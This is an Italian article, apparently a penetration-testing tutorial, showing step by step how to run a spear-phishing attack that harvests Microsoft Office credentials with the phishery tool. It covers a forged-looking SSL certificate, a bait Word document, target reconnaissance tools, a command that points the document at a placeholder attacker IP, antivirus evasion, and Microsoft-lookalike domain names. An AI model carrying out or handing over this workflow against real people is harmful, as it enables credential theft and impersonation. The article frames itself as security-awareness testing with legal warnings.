Spear Phishing – Un’applicazione Concreta

Come eseguire uno spear phishing per rubare credenziali di Microsoft Office, dalla preparazione dell’attacco con la creazione di un certificato SSL falso e di un documento esca personalizzato, al supporto di strumenti avanzati per identificare obiettivi specifici essenziali. Illustriamo poi come migliorare l’inganno con servizi DDNS e raccogliere le credenziali rubate, sempre però sottolineando l’importanza della formazione sulla sicurezza per difendersi da un attacco di spear phishing come quello appena descritto.

Cosa si intende per spear phishing e come funziona

Come ormai tutti sappiamo, il phishing consiste in un tentativo di truffa che mira a sottrarre informazioni e dati sensibili (in genere mediante compilazione di un form) facendo leva sulla buona fede dell’utente che ritiene legittima la provenienza della richiesta.

Lo spear phishing è una forma mirata di phishing, un attacco informatico che ha l’obiettivo di ingannare specifici individui o organizzazioni per ottenere informazioni riservate, come credenziali di accesso, numeri di carte di credito o altre informazioni personali. A differenza del phishing tradizionale, che viene generalmente eseguito inviando e-mail di massa a un gran numero di destinatari, lo spear phishing è molto più personalizzato e sofisticato.

I componenti chiave coinvolti saranno inevitabilmente il tipo di authority che entra in contatto con l’utente/vittima (azienda, banca, altro sito web) e la probabilità che la comunicazione ricevuta sia ritenuta attendibile. Anche l’occhio vuole la sua parte (sic!) e dunque l’aspetto grafico della vicenda gioca sempre un ruolo di primaria importanza.

Simulazione di un attacco di phishing con Microsoft Office

Oggi vedremo come approntare una macchina volta a sottrarre le credenziali di sistema ad un utente che utilizza Microsoft Office tramite l’apertura di un documento; la forza dell’attacco che simuleremo si fonda proprio sull’importanza e autorevolezza dell’ente che invita l’utente a inserire i dati del proprio account.

Scopo di questo test sarà sensibilizzare l’utente medio circa la semplicità di attacchi di questo tipo. Troppo spesso infatti, vuoi per fretta durante le attività lavorative o per semplice pigrizia, vengono fornite con leggerezza informazioni sensibili che invece dovrebbero rimanere private. In tal senso il test può essere utile per mettere in luce eventuali atteggiamenti e abitudini scorrette da parte di dipendenti e professionisti di una data azienda o infrastruttura che si trovano ad operare con strumenti informatici.

Alcuni aspetti interessanti del nostro attacco: quest’ultimo sarà efficace sia all’interno di una rete LAN sia dall’esterno attraverso internet e risulterà invisibile a qualsiasi programma antivirus.

Avvertenze legali sul phishing

Ricordo che effettuare quanto mostrato di seguito senza esplicito consenso degli interessati o del responsabile IT della propria organizzazione, significa incorrere nelle prescrizioni previste dal cosiddetto Codice Privacy (cfr. art 167) e dal Codice Penale (cfr. art 614, art 615-ter, art 617-quater, art 640 e 640-ter, art 494, art 495-bis, art 635 e 635-bis/ter/quater/quinquies).

Preparazione dell’ambiente per l’attacco di phishing

Bene, procediamo avviando la nostra distribuzione Linux e procurandoci lo script che consentirà di orchestrare il nostro tentativo di furto.

Scarichiamo il progetto da: https://github.com/ryhanson/phishery/releases/

Assicuriamoci che il file settings.json all’interno della cartella del programma presenti i seguenti parametri:

Schermata delle impostazioni del file settings.json per l'attacco di phishing.

Creazione di un certificato SSL per l’attacco di phishing

Ciò che ci occorre per il prossimo step è un certificato SSL che protegga la comunicazione che si instaurerà tra attaccante e vittima. In questo tipo di attacchi sono sempre i dettagli a fare la differenza e il certificato di una CA di riferimento che non desti sospetti (anche nei confronti del sistema operativo!) è senza dubbio un’ottima mossa. Inoltre, le più recenti versioni di Microsoft Office per Windows e Mac OSX avvisano l’utente che il certificato non proviene da una fonte attendibile. Sarà sufficiente una rapida ricerca su Google per ottenere un elenco di portali autorevoli presso cui poter acquistare certificati a prezzi abbordabili.

Ai fini del nostro test genereremo invece un certificato in maniera autonoma, rendendolo credibile. Apriamo un terminale e digitiamo:

openssl req -new -x509 -nodes -days 3650 -newkey rsa:2048 -keyout ./server.key -out ./server.crt

Il terminale diventerà interattivo: rispondiamo alle domande ricordando che più saremo accurati e realistici nelle risposte fornite e maggiori probabilità di successo avremo. A procedura conclusa avremo generato all’interno della nostra home i file server.crt e server.key. Collochiamoli nella cartella del programma phishery:

Creazione del documento esca per il phishing

A questo punto entra in gioco la componente più artistica della vicenda, che richiede una certa fantasia insomma. È necessario creare un documento con Microsoft Word che catturi l’attenzione della vittima, attinente magari alla sua attività lavorativa e in conclusione più possibile vicino a una situazione reale; questo documento andrà poi allegato ad una mail oppure recapitato con qualsivoglia metodo.

Esempio di documento Word MODULO.docx usato come esca per il phishing.
Esempio MODULO.docx

Va da sé che sia il testo della mail, sia l’indirizzo del mittente andranno studiati a tavolino: in quest’ultima ipotesi è consigliato appoggiarsi a servizi a pagamento che consentono di personalizzare il dominio dal quale verranno inviate le comunicazioni. I più smaliziati potranno in alternativa realizzare un server Apache fai da te sulla propria macchina dedicato appunto all’inoltro della posta elettronica.

Identificazione degli obiettivi per l’attacco di phishing

L’individuazione degli indirizzi dei destinatari meriterebbe un discorso a parte. Per il momento possiamo dire che sono sempre ben accette ricerche su internet, anche tramite servizi dedicati come:

Non dimentichiamo che social network (LinkedIn, Facebook, Twitter, ecc) e un po’ di logica aiuteranno sicuramente nell’intento: è molto probabile che un’azienda, poniamo con dominio aziendatest.com, adotti come standard per i propri indirizzi interni la classica formula nome.cognome@aziendatest.com. Basterà qualche domanda innocente posta per telefono e ulteriori ricerche incrociate sul web per individuare rapidamente un primo potenziale bersaglio.

Strumenti automatizzati per la ricerca di obiettivi di phishing

Troviamo anche una serie di tool in grado di automatizzare questo tipo di ricerche che risultano utili in operazioni di spear phishing, come ad esempio l’apprezzato progetto italiano theHarverster: lanciamo il comando con la seguente sintassi per ottenere un file di output contenente una lista di indirizzi appartenenti al dominio indicato, naturalmente se pubblicamente disponibili.

Screenshot dell'interfaccia di theHarvester per la ricerca di indirizzi email.

Anche Metasploit configurato con i seguenti parametri può essere utile allo scopo:

Configurazione di Metasploit per la ricerca di obiettivi di phishing.

Nel caso i risultati dei primi due programmi non fossero soddisfacenti, si può tentare anche con il framework recon-ng. Lo strumento, simile al precedente quanto a usabilità, presenta un’ampia gamma di moduli precaricati, alcuni con la propria API key da inserire: il consiglio è quello di provarne qualcuno. Di seguito un esempio:

Interfaccia del framework recon-ng per la raccolta di informazioni.

Infine, non possiamo non citare Maltego: strumento multipiattaforma che, sebbene limitato in versione non commerciale, aiuta a tracciare un profilo organizzativo con cui l’azienda target si espone su internet:

Schermata di Maltego che mostra il profilo organizzativo di un'azienda target.

Preparazione del documento infetto per il phishing

Ma torniamo al nostro script: dobbiamo ora ‘armare’ il documento Word creato, indicando al programma il nostro indirizzo IP e il nome del nuovo file che servirà da payload:

./phishery -u https://INDIRIZZOIPATTACCANTE -i MODULO.docx -o INFETTO.docx

Come anticipato poc’anzi, il documento generato ‘INFETTO.docx’ – a dispetto del nome – non solleva problematiche nei confronti di programmi antivirus in quanto incorpora solo un collegamento web e non porzioni di codice malevolo. L’autorevole sito di valutazione file [ https://www.virustotal.com ] ce ne dà conferma:

Risultato della scansione del documento INFETTO.docx su VirusTotal.

Esecuzione dell’attacco di phishing

Avviamo ora da super utenti il server dell’applicativo, trasmettiamo il documento all’utente vittima e restiamo in ascolto:

Di seguito ciò che la vittima vedrà al momento dell’apertura del documento malevolo. Se non abbiamo acquistato certificati provenienti da CA qualificati ma ne abbiamo confezionato uno ad hoc come visto in precedenza, verrà mostrato  il seguente avviso di sicurezza:

Avviso di sicurezza mostrato all'apertura del documento malevolo.

È senz’altro il punto debole dell’intero attacco: tuttavia abbiamo buone probabilità che l’utente, incuriosito dal contenuto dell’allegato, decida di cliccare – se non immediatamente su – sul pulsante Visualizza certificato e fare pace con la propria coscienza prima di aprire il documento.

Se siamo stati abili nel precedente passaggio, saranno visualizzati i seguenti dettagli che dovrebbero rassicurare il nostro retinente bersaglio:

Dettagli del certificato SSL creato per l'attacco di phishing.

Miglioramento dell’inganno nell’attacco di phishing

Abbiamo ancora un problema: proseguendo l’utente verrà invitato a inserire le proprie credenziali in una maschera generata da Word ma sarà ben visibile l’indirizzo IP locale dell’attaccante. È chiaro come ciò costituisca un limite che rischia di mettere in crisi l’intero attacco. Cosa possiamo fare per migliorare il nostro inganno?

Una valida soluzione è quella di appoggiarsi ad un servizio DDNS esterno. Attraverso un Dynamic Domain Name System è possibile associare un nome DNS umanamente comprensibile ad un indirizzo IP di uno stesso host; qualora l’indirizzo IP dovesse cambiare nel tempo – generalmente ad opera di una ridistribuzione da parte del proprio ISP – verrà comunque risolto dal servizio. Sul web esistono soluzioni gratuite (a volte sono già compresi nel proprio router di casa) e a pagamento più o meno personalizzabili: naturalmente attribuire un nome al proprio dominio che possa trarre in inganno senza destare sospetti, determinerà la buona riuscita del test. Ecco alcuni nomi di dominio piuttosto gettonati per un test di phishing:

  • support-microsoft.com
  • mail.com
  • microsoftonline.com
  • microsoft-account.com

Per rendere operativa la nostra macchina attaccante attraverso il dominio DDNS desiderato, è necessario creare una regola di Port forwarding nelle impostazioni del router; ecco l’esempio di un router che monta DD-WRT, un firmware libero distribuito sotto licenza GNU GPL:

Configurazione del port forwarding su un router DD-WRT per l'attacco di phishing.

Avvio del server e raccolta delle credenziali rubate

Dopo questa lunga serie di preparativi, siamo finalmente pronti per avviare sulla nostra distribuzione il server web del tool phishery, pronto a ricevere le fatidiche credenziali. Queste saranno visualizzate in tempo reale nell’output del terminale e memorizzate nel file credential.json.

Output del terminale che mostra le credenziali rubate dall'attacco di phishing.

 

Come vediamo, l’attacco è stato portato a termine. È bene sottolineare come il programma sia in grado di memorizzare qualsiasi credenziale inserita e non necessariamente quelle dell’account di sistema. Dal momento poi che non verifica la corrispondenza username/password, saranno loggati anche eventuali refusi.

Vedremo più avanti come vengono create vere e proprie campagne di phishing di modo da estendere questo genere di attacchi su larga scala e monitorarne i risultati.

A cura di: Milo Caranti

Profilo Autore

Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.

Condividi sui Social Network:

Articoli simili